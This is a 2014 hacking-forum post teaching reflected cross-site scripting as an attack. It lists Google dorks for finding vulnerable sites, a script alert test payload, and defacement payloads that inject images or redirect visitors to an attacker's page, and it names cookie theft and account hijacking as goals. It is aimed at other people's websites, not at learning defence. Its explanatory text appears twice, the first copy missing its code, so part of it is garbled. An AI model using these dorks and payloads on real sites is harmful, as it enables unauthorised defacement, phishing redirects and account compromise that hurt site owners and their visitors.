Aug 8, 2014 05:18 PM
(This post was last modified: Aug 8, 2014 05:20 PM by WarOnDrugs.)
What is XSS?
cross-site scripting (XSS) is a type of website security vulnerability
typically found in web applications that enables client-side script into
web pages viewed by other users. An exploited cross-site scripting
vulnerability can be used by attackers to bypass access controls such as
the same origin policy.
Types of XSS vulnerabilities:
1.Persistent
2.Non persistent
In this post, I'll explain about the non persistent vulnerability.
Non persistent XSS vulnerability is the Most Common Type of XSS Flaw. It is a Server Side Vulnerability
When a Web Server takes any input from a User and returns the same back
to the User without any Validation, This leads to a Non-Persistent XSS
Vulnerability.
XSS Attacks be used for the following:
•Compromising and Hijacking Accounts
•Stealing User Cookie
•Defacing Websites
•Phishing Attacks
•Posting Hostile Content
Instructions:
Step 1: First of all find the vulnerablitiy using google dorks. You can find dorks online.
Step 2: Choose a target website:
To do so use the Google Dorks above and once you find a website, refer below for the next step in the process.
Find out the vulnerability:
1)Find a textbox in the site or something where you can submit text.
2)Type in the following and hit Submit Query button.
3)If it's vulnerable it will show an alert box with the word "hit" inside it.
Defacing:
There are few ways which can be used to deface a site when you find a XSS vulnerability.
1) Makes A Picture Pop-Up:
2) Replace The Content Of The Page By An Image:
3)Redirect To A Website
cross-site scripting (XSS) is a type of website security vulnerability
typically found in web applications that enables client-side script into
web pages viewed by other users. An exploited cross-site scripting
vulnerability can be used by attackers to bypass access controls such as
the same origin policy.
Types of XSS vulnerabilities:
1.Persistent
2.Non persistent
In this post, I'll explain about the non persistent vulnerability.
Non persistent XSS vulnerability is the Most Common Type of XSS Flaw. It is a Server Side Vulnerability
When a Web Server takes any input from a User and returns the same back
to the User without any Validation, This leads to a Non-Persistent XSS
Vulnerability.
XSS Attacks be used for the following:
•Compromising and Hijacking Accounts
•Stealing User Cookie
•Defacing Websites
•Phishing Attacks
•Posting Hostile Content
Instructions:
Step 1: First of all find the vulnerablitiy using google dorks. You can find dorks online.
Code
Most commonly used dorks are as follow:
inurl:com_feedpostold/feedpost.php?url=
inurl:/products/orkutclone/scrapbook.php?id=
inurl:/products/classified/headersearch.php?sid=
inurl:/poll/default.asp?catid=
inurl:/search_results.php?search=Search&k=Step 2: Choose a target website:
To do so use the Google Dorks above and once you find a website, refer below for the next step in the process.
Find out the vulnerability:
1)Find a textbox in the site or something where you can submit text.
2)Type in the following and hit Submit Query button.
Code
<script>alert("hit");</script>Defacing:
There are few ways which can be used to deface a site when you find a XSS vulnerability.
1) Makes A Picture Pop-Up:
Code
<script>location="www.website.com/yourdefacepic";</script>2) Replace The Content Of The Page By An Image:
Code
<img src="yoursite.com/yourdefacepic/>3)Redirect To A Website
Code
<script>window.location="http://www.yoursite.com"</script>


